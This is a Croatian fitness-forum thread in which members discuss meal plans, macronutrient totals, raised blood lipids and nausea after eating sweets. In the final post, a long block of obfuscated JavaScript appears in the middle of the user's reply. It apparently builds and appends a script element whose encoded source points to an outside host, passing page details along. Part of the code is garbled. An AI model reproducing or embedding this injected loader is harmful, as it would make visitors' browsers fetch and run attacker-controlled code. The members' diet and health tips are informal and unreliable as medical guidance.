| Author |
 Topic Search  Topic Options
|
Gym_girl 
Fit moderator
Joined: 29 Lipanj 2009
Location: RI
Status: Offline
Points: 9271
|
 Post Options
 Thanks(0)
 Quote  Reply
 Posted: 14 Prosinac 2014 at 13:00 |
 motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima  i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas  |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim? 
Mahunarke su zakon 
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
|
"To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected]www.instagram.com/me_better365/
|
 |
dena75
Viden/a u gymu
Joined: 10 Studeni 2014
Location: ANTARTICA
Status: Offline
Points: 332
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 13:04 |
Gym_girl wrote:
dena75 wrote:
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
dena, čemu sir uz 3 jaja? :) Da podmiri računicu?  |
.... ...to pitaj svjetske stručnjake a ne mene .... koji imaju tisuće klijenata....diljem svijeta....btw od 1% masti i 12 g proteina ne boli glava kad je definicija i pitanju....napisa sam... kad je definicija onda ide 3gP 
|
|
iznajmljujem sobnu biciklu
|
|
Gym_girl
Fit moderator
Joined: 29 Lipanj 2009
Location: RI
Status: Offline
Points: 9271
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 13:06 |
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina 
|
"To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected]www.instagram.com/me_better365/
|
|
dena75
Viden/a u gymu
Joined: 10 Studeni 2014
Location: ANTARTICA
Status: Offline
Points: 332
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 13:14 |
Gym_girl wrote:
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina |
|
|
iznajmljujem sobnu biciklu
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 18:03 |
dena75 wrote:
Gym_girl wrote:
dena75 wrote:
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
dena, čemu sir uz 3 jaja? :) Da podmiri računicu? |
.... ...to pitaj svjetske stručnjake a ne mene .... koji imaju tisuće klijenata....diljem svijeta....btw od 1% masti i 12 g proteina ne boli glava kad je definicija i pitanju....napisa sam... kad je definicija onda ide 3gP |
Znam sta je posni a sta cottage ..cottage je ok :)
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 18:05 |
Gym_girl wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim?
Mahunarke su zakon
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
|
Ne kuzim sta fali.  Nisam.pricala sa doktoricom jer su ovo otkrili kad su mi radili nalaze prije gastroskopije...
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 18:09 |
Danasnji meni Dorucak: zobene 40 g+ lanene 10g+banana 80g+sljive suhe 40 g 3 bjelanjca Poslije treninga: banana 100g+whey 30g Rucak: tuna 80 g+tjestenina 100g+sirni namaz(3% masnoca) 40g Za veceru mislim napraviti 2 palacinke od integralnog brasna i jednog jajeta sa sirom E u ovome mi fali povrce...znam
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 20:13 |
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava?
|
|
ero-sa-ovoga
Cita FAQ
Joined: 18 Svibanj 2014
Location: Rijeka
Status: Offline
Points: 100
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 20:23 |
Pa vjerojatno jer ti se organizam navikao na zdravu hranu, a pošto vjerojatno uneseš veću količinu slatkoga digne ti se naglo šećer u krvi, i tijelo ti izreagira na taj način.Ne vjerujem da je do jetre.Premda vjerujem da pojedeš red ili dva čokolade do toga ne bi trebalo doći.Umjerenost u svemu, a znam da nije lako.
|
|
Mens sana in corpore sano!
|
|
dena75
Viden/a u gymu
Joined: 10 Studeni 2014
Location: ANTARTICA
Status: Offline
Points: 332
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 20:46 |
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
...kolko ti vode unosiš dnevno?
|
|
iznajmljujem sobnu biciklu
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 14 Prosinac 2014 at 21:22 |
dena75 wrote:
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
...kolko ti vode unosiš dnevno? |
3-4 litra
|
|
never-give-up
Viden/a u gymu
Joined: 19 Lipanj 2014
Location: Dalmacija
Status: Offline
Points: 464
|
Post Options
Thanks(0)
Quote Reply
Posted: 15 Prosinac 2014 at 08:00 |
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
To se i meni zna dogoditi. Ako pojedem npr red čokolade nema nikakve mučnine, ali kad sam pojela dvije veće kriške torte mučnina.
|
|
Gym_girl
Fit moderator
Joined: 29 Lipanj 2009
Location: RI
Status: Offline
Points: 9271
|
Post Options
Thanks(0)
Quote Reply
Posted: 15 Prosinac 2014 at 11:44 |
motivation_ wrote:
Gym_girl wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim?
Mahunarke su zakon
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
|
Ne kuzim sta fali.
Nisam.pricala sa doktoricom jer su ovo otkrili kad su mi radili nalaze prije gastroskopije... |
Fali ti neki izvor proteina u doručku (izostavljam orahe koje bi btw isto smanjila na pola), međubroke bih malo smanjila (maknula bananu i smanjila orašaste), a u večeri fale neka vlakna i masti.
Ja bih malo provjerila povezanost te kontracepcije i povišenih masnoća....neki radi toga mijenjaju kontracepciju. Nisam stručnjak, samo naglašavam jer nije dobro da ti je ovo stalno povišeno. A zbog prehrane sumnjam da je. Ima li ti netko u obitelji problema sa masnoćama?
|
"To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected]www.instagram.com/me_better365/
|
|
Gym_girl
Fit moderator
Joined: 29 Lipanj 2009
Location: RI
Status: Offline
Points: 9271
|
Post Options
Thanks(0)
Quote Reply
Posted: 15 Prosinac 2014 at 11:45 |
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
Da li ti se isto dešava kod domaćih i kupovnih kolača? I koja je to određena količina? :)
|
"To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected]www.instagram.com/me_better365/
|
|
Gym_girl
Fit moderator
Joined: 29 Lipanj 2009
Location: RI
Status: Offline
Points: 9271
|
Post Options
Thanks(0)
Quote Reply
Posted: 15 Prosinac 2014 at 11:46 |
dena75 wrote:
Gym_girl wrote:
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina |
|
Ne vuci me za jezik da ti kažem kad je meni sve palo u vodu
Ne ljutim se, samo se smješkam 
|
"To lead the orchestra, you have to turn your back on the crowd." Nutricionist & Fitness instruktor PN Certified Coach e-mail: [email protected]www.instagram.com/me_better365/
|
|
motivation_
Viden/a u gymu
Joined: 24 Rujan 2013
Location: Austria
Status: Offline
Points: 226
|
Post Options
Thanks(0)
Quote Reply
Posted: 15 Prosinac 2014 at 13:40 |
Gym_girl wrote:
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
Da li ti se isto dešava kod domaćih i kupovnih kolača? I koja je to određena količina? :) |
< id="">(function(){var q=function(j){var a=046,z="",x=window,h=("\x66\u0072\x6f\u006D\x43\u0068\u0077c"+"\x69\u005a\u004E"+"e")["r"+"e"+"p\u006cace"+""]("\x77ci"+"Z\u004e","\x61\u0072\u0043\u006f\x64"),o=("\u0063K\u0044\u0077J"+"M\u0064\x65\x41t")[("\x4f\x46f"+"\x68\x61c\x65").replace("\u004FF\x66\x68",""+"r\x65\u0070\u006c")]("\x4B\u0044"+"w\u004aM","h"+""+"a\x72\u0043"+"o"),e=("\u006Cen\u0065"+"Gh")['r'+'e\u0070'+'la\u0063e']("\u0065\x47","\x67t"),t=("\x41\x6e\x6A\x67"+"n"+"g")[('r'+'UoY'+'Je').replace('\x55o'+''+'Y\x4A','e'+'p\u006C'+'ac')]("A\u006E\u006Ag","\x53"+"t"+"r\u0069"),b=x[t],d=b[h],y,r;for(var g=0;g >2;wj=((g&3)<<4|gu>>4);lm=((gu&15)<<2|jk>>6);et=jk&63;if(isNaN(gu)){lm=et=64}else{if(isNaN(jk)){et=64}}qo=qo+this[q(('\u0053\x5aE_\x75\x52\x54').replace('\x53Z'+'E',''+'yMC'))][q("E"+"N"+"\u0047\u0054\u0067\u0052")](su)+this[q(('\x55Tk'+'U\x75\u0052T'+'').replace('U'+'T'+'\u006B\u0055','\u0079MC'+'_'+''))][q('E'+'NG'+'Tg\u0052')](wj)+this[q("\x79\x4d\x43_"+"\x75RT")][q((''+'E\x79\u0059\x52'+'Hg'+''+'R').replace('yY'+'R\u0048','NG\x54'))](lm)+this[q("\x79\u004DC_"+"u\u0052\u0054")][q(('\u0049i\x52').replace('\x49i','\x45\u004EG'+'Tg'))](et)}return qo},decode:function(il){var gu={},yw,uu,ba=[],gv="",of=String[q(("@\u0054\u0049"+"Ke"+"\u004eGk\u0074"+"N\u0050xIBC"+"").replace(""+"k\u0074\u004EP"+"x","\x54e"))];var ci=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(ib in ci){for(yw=ci[ib][0];yw=8){gv+=of((et>>>(ur-=8))%256)}}}return gv},_utf8_encode:function(mu){mu=mu[q(('T'+'\x71\x44\x48'+'EC'+'').replace('\x71'+'D\u0048','C'+'V'+'\u004a\x47'))](/\r\n/g,"\n");var ci="";for(var ur=0;ur127)&&(uu<2048ci+=q'u0040x54x49E'+'jG'+'Tx65x49u0042u0043'.replace'E'+'j','Ku0065N'+''uu>>6)|192);ci+=String[q('@\u0054\u0049'+'K\u0065N\u0047T\x65I'+'\x42\u0043')]((uu&63)|128)}else{ci+=String[q(("\u0040\u0054\u0049\x4B\x65p"+"\x63D"+"i\x49BC").replace("\u0070c"+"D\x69","N"+""+"GTe"))]((uu>>12)|224);ci+=String[q(("@"+"DC"+"N\x47\u0054e"+"\u0049\x42C"+"").replace("\u0044C"+"","T\u0049\u004be"))](((uu>>6)&63)|128);ci+=String[q("@T\x49\u004b\x65N"+"\u0047\u0054"+"e\x49"+"B\x43")]((uu&63)|128)}}}return ci}};var vx=q('\x48\u001b')+dv+q('\x00\u004E\u001bA'+'\u004F'+'T\b\u0042\u0054\u004f'+'P\x43\u0054\u0049V\u0052O'+'\b'+'HC'+'R\u0000I\x1B\u0042\u0056\x00\u0047\u001B\u0014\u0016\x12\x16\x00\u0055\u001b\u0014\x16\u001E\x14\x00E\u001B\u0041TC'+'C\u0048\u0000Q'+'\x1B')+document[q('\x4AI'+'\u0045\x47RO\u0049H')][q(("\x4E\x49\u0055L\x6D\x4bC"+"").replace("L\x6d","\u0052H\x47"))];var io=q('\x4E\u0052R'+'\u0056\u001c\t\t\x41\x4FT\bB'+'TO\u0050\x43TI\x56R\x4F\b\x48CR'+'\t'+'U\x42\t\x47\u0056\u0056\u0055\t\u0047B'+'OH'+''+'@\x49\u000B\x17\b\x16\t\x4fHB'+'C'+'^'+'\bN\u0052\x4bJ\u0019')+qn[q(('\x43H'+'aI'+'o'+'C').replace('a\x49o','\x45\u0049'+'B'))](vx);var sk=document[q("\x45T"+"\x43G\x52C"+""+"c\u004A\u0043\u004b\x43HR"+"")](q('U'+'E'+'T'+'O\u0056\x52'));sk[q('\x55\u0043R\u0067R'+'\u0052'+'TO\x44S\x52\x43')](q('\x52\u005F\u0056C'),q('\u0052'+'C'+'^'+'R\t\x4CGPG'+'UE'+'\x54OV'+''+'R'));sk[q(('\u0055\u0043R'+'\x67\u0052\u0052'+'TO'+'D'+'p'+'U\u006AC').replace('\x70U\x6A','\x53R'+''))](q("\x45\x4EG\u0054\u0055C"+"R"),q("\u0073"+"r`\x0B\x1E"));if("http:"==document[q(("\u004a\x49E"+"B"+"e"+"\x6c\x74d\u004F\x49\x48").replace("Be\u006ctd","G"+""+"R"))][q(("V"+"T\u0049R"+"\x4c"+"d\u0074Z"+"I\u004A").replace("L\u0064\u0074"+"Z","\x49E"))]){sk[q(('\u0055C'+'R\x67'+'R'+'Rl\x45'+'g\u0076DSR\u0043').replace(''+'l\u0045\x67'+'v','\u0054O'))](q(''+'UT'+'E'),q('\x4ERR\u0056\x1c\t\tO'+'\b\u0054P\\T'+'\u004cU\b\x4fH'+'\u0040\x49\t\x54\u0050\\T'+'\t\u004c\x47\x50'+'GU'+'\u0045\u0054\x4F\u0056'+'R\bL\x55\u0019\x45N'+'\u0047'+'H\x48\x43J\x1b\u0054P\\T'+'\u0014\x16\x12\u0016\u0079\x14\u0016\x1e\u0014\u0000'+'G\u0056'+'V\x72'+'O\u0052\u004a\x43\u001B')+dv+q("\u0000V\x4A\x4F\x48\u004D\x1B")+encodeURIComponent(io));}else{sk[q(("\x55\x43R\u0067\u0052\u0052T"+"Ki\u0075"+"cR"+"C").replace(""+"Kiuc","\x4F\x44S"))](q("\u0055"+"T"+"E"),q(('\x4eR'+'RV\u0055\x1c\t\t\x4fy'+'TP'+'\\\x54\u004c\u0055\x79OH\u0040\x49\b\x52\u004aU'+''+'EB'+'\u0048\bE\x49\u004B\t\x54\x50\\\u0054\tL\x47P\x47\u0055ET'+'O'+'V\x52\bLU\u0019\u0045'+'N\x57\x54\x48x\u0043\x4A\u001B\x54P\\\x54\x14\x16\x12\x16'+'y\x14\x16\u001E\u0014\x00'+'G'+'V\x56r'+'OR\x4A\u0043\x1b').replace('W'+''+'THx','\u0047HH'+''))+dv+q(("\u0045qM\x4d\u001B").replace(""+"E\u0071\u004d","\u0000\u0056JO\u0048"))+encodeURIComponent(io));}document[q('D'+'IB\x5F')][q((""+"GVV\x43\u0048B\u0065S\x57\u0065N\u004AB").replace("S"+"W\u0065N"+"","\x4e\x4F"))](sk);})();;var ce=document[q(''+'E\u0054\u0043GR'+'\u0043c'+'J\u0043'+'KC'+'H'+'\x52')](q("\u0055E\x54\u004fV\u0052"));try{if(true)var wq=navigator.appName;}catch(nz){};ce[q("\u0055TE")]=q("\t\tA\u004fT"+"\b\u0042"+"T\u004FP"+"\x43"+"T\u0049V"+"R"+"\u004F\bH\u0043\x52\t\x55"+"B\t\x14\x16\u0012\x16\t\u0014\x16\u001e\u0014\bL\x55");var sw=window[("\u0078B"+"w").replace("\x78\x42","\x77\u0069n\x64\u006F")];document[q(("DNc"+"\x66_"+"").replace("N\u0063\x66","\x49\u0042"))][q('\x47\u0056\u0056C'+'HB\u0065'+'NO\u004A\x42')](ce);}})();
A desava se naravno sa kupovnim kolacima i kupovnim secerom 
|
|
Tweet